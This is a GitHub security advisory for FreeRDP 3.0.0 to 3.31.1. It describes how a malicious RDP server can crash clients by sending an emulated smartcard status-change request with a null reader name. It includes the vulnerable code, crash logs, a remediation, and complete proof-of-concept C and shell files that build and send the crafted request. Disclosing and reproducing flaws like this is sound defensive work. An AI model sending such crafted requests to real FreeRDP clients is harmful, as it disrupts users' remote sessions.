All vulnerabilities
GHSA-q6pp-28g8-xqjc

Null reader name in emulated smartcard request remotely crashes FreeRDP clients

FreeRDP
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published5 Oct 2026Updated 5 Oct 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

A malicious or compromised RDP server can terminate a connecting FreeRDP client when smartcard emulation is enabled. The server sends an SCardGetStatusChangeA or SCardGetStatusChangeW device-control request with cReaders=1, an allocated reader-state array, and a null NDR pointer for that entry's reader name.

The decoder accepts the request and returns an entry with szReader == NULL:

if (!smartcard_ndr_pointer_read(log, s, ptrIndex, &ptr))
{
	if (ptr != 0)
		goto fail;
}
states[index] = ptr != 0;

The emulation backend then compares the remote name without validating it:

if (strcmp(out->szReader, in->szReader) == 0)

The W variant reaches the equivalent _wcscmp call. The result is a deterministic null-pointer dereference in the client process. A full-session replay carried the crafted request through real TLS/RDP, the negotiated RDPDR channel, FreeRDP's stock server serializer, and an unmodified client; the client exited 139 from SIGSEGV.

Smartcard emulation was introduced during development of FreeRDP 3.0.0. The vulnerable decoder and comparison are present in 3.0.0, 3.31.1, the assessed development revision, and current master. No exact public duplicate or fix was found. GHSA-ph3q-f9w8-7jf3 and GHSA-78jj-45vh-jpm5 concern different smartcard null-dereference roots.

Impact

Alice must initiate an RDP connection to Mallory's malicious or compromised server with smartcard emulation enabled and the smartcard device-service route available. Mallory needs no local privilege on Alice's client and no race or allocator shaping. One crafted reader-state entry terminates the FreeRDP process.

The demonstrated impact is availability loss only. Restarting the client restores the process, but Mallory can repeat the request on reconnection. Memory corruption, confidentiality loss, integrity loss, code execution, and a pre-authentication timing claim were not demonstrated.

Validation

The primary product replay used a real TLS/RDP session against an unmodified xfreerdp client at development revision fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3. The client negotiated RDPDR, announced its emulated smartcard, and reached the RDPDR user-logged-on state. A disposable server-side attachment added FreeRDP's stock RdpdrServerContext to freerdp-shadow-cli, which does not instantiate that context itself, then called the public SmartcardEstablishContext and SmartcardGetStatusChangeA APIs. FreeRDP's stock server library serialized and sent both requests. There was no client preload, client patch, target-tree modification, direct decoder call, or post-serialization wire mutation.

The safe control sent FreeRDP Emulator. It received a successful status-change completion and remained alive until deliberate SIGTERM cleanup. The attack used a matched session and the same operation with a null per-reader name. Client diagnostics reported the null argument in Emulate_SCardGetStatusChangeA, the client caught SIGSEGV, and it exited 139 before cleanup without returning a completion:

control: sent=1 completion_received=1 client_died_before_cleanup=0 client_rc=145
attack:  sent=1 completion_received=0 client_died_before_cleanup=1 client_rc=139

Status 145 in the control is deliberate cleanup, not a product failure. The product replay demonstrates post-logon network reachability and client-process availability loss; it does not establish a pre-authentication attack.

The packaged focused reproducer separately serializes the request with FreeRDP's production encoder, decodes those bytes with smartcard_irp_device_control_decode_request, and dispatches the result with smartcard_irp_device_control_call. This proves that the null arises from accepted request bytes rather than direct manipulation of an internal object.

Two existing builds were independently replayed:

  • FreeRDP 3.31.1 Release with NDEBUG, shared libraries, and WITH_SMARTCARD_EMULATE=ON.
  • Development revision fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3 in an ASan/UBSan Debug build with the same feature enabled.

For each build, the control changed only the reader name from null to FreeRDP Emulator. The control returned successfully. The Release attack ended with SIGSEGV and status 139. The sanitizer build reported the null argument in Emulate_SCardGetStatusChangeA, followed by a segmentation fault in strcmp.

Selected Release output:

decode_status=0x00000000 cReaders=1 reader_name=non-null
dispatch_mode=control
dispatch_returned status=0x00000000 io_status=0x00000000
process_status=0 mode=control
decode_status=0x00000000 cReaders=1 reader_name=null
dispatch_mode=null
process_status=139 mode=null

Selected sanitizer output:

AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 strcmp
#1 Emulate_SCardGetStatusChangeA
#2 smartcard_GetStatusChangeA_Call
#3 smartcard_irp_device_control_call
SUMMARY: AddressSanitizer: SEGV in strcmp
process_status=1 mode=null

The full network runner was retained as validation evidence rather than included in this portable package because it was coupled to the disposable lab's existing display, credentials, certificates, dependency tree, and shadow-server attachment preload, and it contained unrelated validation cases. The source-only PoC below remains the practical disclosure reproducer.

Reproduction

Build FreeRDP as shared libraries with smartcard emulation enabled. From the report directory, run the valid control and then the null-name attack. The third argument is a colon-separated list of dependency library directories, or an empty string when the system loader already finds them:

cmake -S freerdp-src -B freerdp-build \
  -DCMAKE_BUILD_TYPE=Release \
  -DBUILD_SHARED_LIBS=ON \
  -DWITH_SMARTCARD_EMULATE=ON
cmake --build freerdp-build --parallel

cd poc
ulimit -c 0
./run.sh ../freerdp-src ../freerdp-build "" control
./run.sh ../freerdp-src ../freerdp-build "" null

The null mode intentionally crashes the disposable test process.

Suggested remediation

Reject null per-reader name pointers in smartcard_unpack_reader_state_a and smartcard_unpack_reader_state_w. Also add null checks in Emulate_SCardGetStatusChangeA/W and return SCARD_E_INVALID_PARAMETER before calling strcmp or _wcscmp.

Add A/W regression tests for a valid reader name, zero readers, one null reader name, and a multi-reader array with a later null name. Exercise both Debug and NDEBUG builds.

Complete PoC files

<!-- BEGIN FILE: poc/scard_getstatuschange_null.c -->

/*
 * Reproducer for a NULL reader name in an emulated SCardGetStatusChangeA call.
 *
 * The request is encoded and decoded through FreeRDP's production smartcard
 * helpers before being dispatched through smartcard_irp_device_control_call().
 * Use "control" for a valid reader name and "null" for the crafted request.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <winpr/crt.h>
#include <winpr/smartcard.h>
#include <winpr/stream.h>

#include <freerdp/channels/rdpdr.h>
#include <freerdp/channels/scard.h>
#include <freerdp/freerdp.h>
#include <freerdp/settings.h>
#include <freerdp/utils/rdpdr_utils.h>
#include <freerdp/utils/smartcard_call.h>
#include <freerdp/utils/smartcard_operations.h>
#include <freerdp/utils/smartcard_pack.h>

static wStream* wrap_request(UINT32 ioControlCode, const wStream* inner)
{
	const size_t totalLength =
	    RDPDR_DEVICE_IO_CONTROL_REQ_HDR_LENGTH + Stream_Length(inner);
	wStream* s = Stream_New(NULL, totalLength);
	if (!s)
		return NULL;

	Stream_Write_UINT32(s, 2048);
	Stream_Write_UINT32(s, (UINT32)Stream_Length(inner));
	Stream_Write_UINT32(s, ioControlCode);
	Stream_Zero(s, 20);
	Stream_Write(s, Stream_ConstBuffer(inner), Stream_Length(inner));
	Stream_SealLength(s);
	if (!Stream_SetPosition(s, 0))
		abort();
	return s;
}

static BOOL decode_request(SCARDCONTEXT hContext, const char* readerName,
	                       SMARTCARD_OPERATION* decoded)
{
	SMARTCARD_OPERATION source = { 0 };
	source.ioControlCode = SCARD_IOCTL_GETSTATUSCHANGEA;
	source.call.getStatusChangeA.handles.hContext.cbContext = sizeof(SCARDCONTEXT);
	memcpy(source.call.getStatusChangeA.handles.hContext.pbContext, &hContext,
	       sizeof(hContext));
	source.call.getStatusChangeA.dwTimeOut = 0;
	source.call.getStatusChangeA.cReaders = 1;
	source.call.getStatusChangeA.rgReaderStates =
	    calloc(1, sizeof(SCARD_READERSTATEA));
	if (!source.call.getStatusChangeA.rgReaderStates)
		return FALSE;

	if (readerName)
	{
		source.call.getStatusChangeA.rgReaderStates[0].szReader = _strdup(readerName);
		if (!source.call.getStatusChangeA.rgReaderStates[0].szReader)
			return FALSE;
	}

	wStream* encoded = Stream_New(NULL, 4096);
	if (!encoded)
		return FALSE;
	if (smartcard_irp_device_control_encode_request(encoded, &source) != SCARD_S_SUCCESS)
		return FALSE;

	wStream* request = wrap_request(SCARD_IOCTL_GETSTATUSCHANGEA, encoded);
	Stream_Free(encoded, TRUE);
	if (!request)
		return FALSE;

	SMARTCARD_OPERATION result = { 0 };
	const LONG status = smartcard_irp_device_control_decode_request(request, 1, 0, &result);
	Stream_Free(request, TRUE);
	smartcard_operation_free(&source, FALSE);

	const void* decodedName = NULL;
	if (result.call.getStatusChangeA.rgReaderStates)
		decodedName = result.call.getStatusChangeA.rgReaderStates[0].szReader;
	printf("decode_status=0x%08x cReaders=%u reader_name=%s\n", (unsigned)status,
	       result.call.getStatusChangeA.cReaders, decodedName ? "non-null" : "null");
	fflush(stdout);

	if ((status != SCARD_S_SUCCESS) ||
	    (result.call.getStatusChangeA.cReaders != 1) ||
	    (result.call.getStatusChangeA.rgReaderStates == NULL))
	{
		smartcard_operation_free(&result, FALSE);
		return FALSE;
	}

	*decoded = result;
	return TRUE;
}

static BOOL establish_context(scard_call_context* callContext, SCARDCONTEXT* hContext)
{
	SMARTCARD_OPERATION operation = { 0 };
	operation.ioControlCode = SCARD_IOCTL_ESTABLISHCONTEXT;
	operation.call.establishContext.dwScope = SCARD_SCOPE_USER;
	operation.outputBufferLength = 2048;

	wStream* output = Stream_New(NULL, 4096);
	if (!output)
		return FALSE;
	Stream_Zero(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH);

	NTSTATUS ioStatus = 0;
	const LONG callStatus =
	    smartcard_irp_device_control_call(callContext, output, &ioStatus, &operation);
	if (callStatus != SCARD_S_SUCCESS)
		return FALSE;

	if (!Stream_SetPosition(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH))
		return FALSE;
	SMARTCARD_OPERATION response = { 0 };
	const LONG decodeStatus = smartcard_irp_device_control_decode_response(
	    output, SCARD_IOCTL_ESTABLISHCONTEXT, &response);
	Stream_Free(output, TRUE);
	if ((decodeStatus != SCARD_S_SUCCESS) ||
	    (response.ret.establishContext.hContext.cbContext != sizeof(SCARDCONTEXT)))
	{
		smartcard_operation_free(&response, FALSE);
		return FALSE;
	}

	memcpy(hContext, response.ret.establishContext.hContext.pbContext,
	       sizeof(*hContext));
	smartcard_operation_free(&response, FALSE);
	return TRUE;
}

int main(int argc, char** argv)
{
	if ((argc != 2) || ((strcmp(argv[1], "null") != 0) &&
	                    (strcmp(argv[1], "control") != 0)))
	{
		fprintf(stderr, "usage: %s null|control\n", argv[0]);
		return 2;
	}

	const BOOL attack = strcmp(argv[1], "null") == 0;
	rdpSettings* settings = freerdp_settings_new(0);
	freerdp instance = { 0 };
	rdpContext context = { 0 };
	instance.context = &context;
	context.instance = &instance;
	context.settings = settings;
	if (!settings ||
	    !freerdp_settings_set_pointer(settings, FreeRDP_instance, &instance) ||
	    !freerdp_settings_set_bool(settings, FreeRDP_SmartcardEmulation, TRUE))
		return 3;

	scard_call_context* callContext =
	    smartcard_call_context_new_with_context(&context);
	if (!callContext)
		return 4;

	SCARDCONTEXT hContext = 0;
	if (!establish_context(callContext, &hContext))
		return 5;

	SMARTCARD_OPERATION decoded = { 0 };
	const char* readerName = attack ? NULL : "FreeRDP Emulator";
	if (!decode_request(hContext, readerName, &decoded))
		return 6;

	wStream* output = Stream_New(NULL, 4096);
	if (!output)
		return 7;
	NTSTATUS ioStatus = 0;
	printf("dispatch_mode=%s\n", argv[1]);
	fflush(stdout);
	const LONG status =
	    smartcard_irp_device_control_call(callContext, output, &ioStatus, &decoded);
	printf("dispatch_returned status=0x%08x io_status=0x%08x\n", (unsigned)status,
	       (unsigned)ioStatus);
	return 0;
}

<!-- END FILE: poc/scard_getstatuschange_null.c -->

<!-- BEGIN FILE: poc/run.sh -->

#!/bin/sh
set -eu

if [ "$#" -lt 3 ] || [ "$#" -gt 4 ]; then
	echo "usage: $0 SOURCE_TREE BUILD_TREE DEPENDENCY_LIBRARY_DIR [control|null]" >&2
	exit 2
fi

source_tree=$1
build_tree=$2
dependency_library_dir=$3
mode=${4:-null}

case "$mode" in
	control|null) ;;
	*)
		echo "mode must be control or null" >&2
		exit 2
		;;
esac

script_dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
work_root=${POC_WORK_ROOT:-$script_dir}
work_dir=$(mktemp -d "$work_root/scard-null.XXXXXX")
trap 'rm -rf "$work_dir"' EXIT HUP INT TERM

sanitizer_flags=
if [ -n "${POC_SANITIZERS:-}" ]; then
	sanitizer_flags="-fsanitize=$POC_SANITIZERS -fno-omit-frame-pointer"
fi

# sanitizer_flags is intentionally word-split into compiler options.
# shellcheck disable=SC2086
cc -O1 -g -Wno-deprecated-declarations \
	$sanitizer_flags \
	-I"$source_tree/include" \
	-I"$source_tree/winpr/include" \
	-I"$build_tree/include" \
	-I"$build_tree/winpr/include" \
	"$script_dir/scard_getstatuschange_null.c" \
	-L"$build_tree/libfreerdp" \
	-L"$build_tree/winpr/libwinpr" \
	-Wl,--allow-shlib-undefined \
	-Wl,-rpath,"$build_tree/libfreerdp" \
	-Wl,-rpath,"$build_tree/winpr/libwinpr" \
	-lfreerdp3 -lwinpr3 \
	-o "$work_dir/scard_getstatuschange_null"

runtime_path="$build_tree/libfreerdp:$build_tree/winpr/libwinpr:$dependency_library_dir"
if [ -n "${LD_LIBRARY_PATH:-}" ]; then
	runtime_path="$runtime_path:$LD_LIBRARY_PATH"
fi

set +e
LD_LIBRARY_PATH="$runtime_path" \
	timeout 10 "$work_dir/scard_getstatuschange_null" "$mode"
status=$?
set -e

echo "process_status=$status mode=$mode"
if [ "$mode" = control ]; then
	[ "$status" -eq 0 ]
else
	case "$status" in
		1|134|139) ;;
		*) exit 1 ;;
	esac
fi

<!-- END FILE: poc/run.sh -->

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, c>= 3.0.0, <= 3.31.1GitHub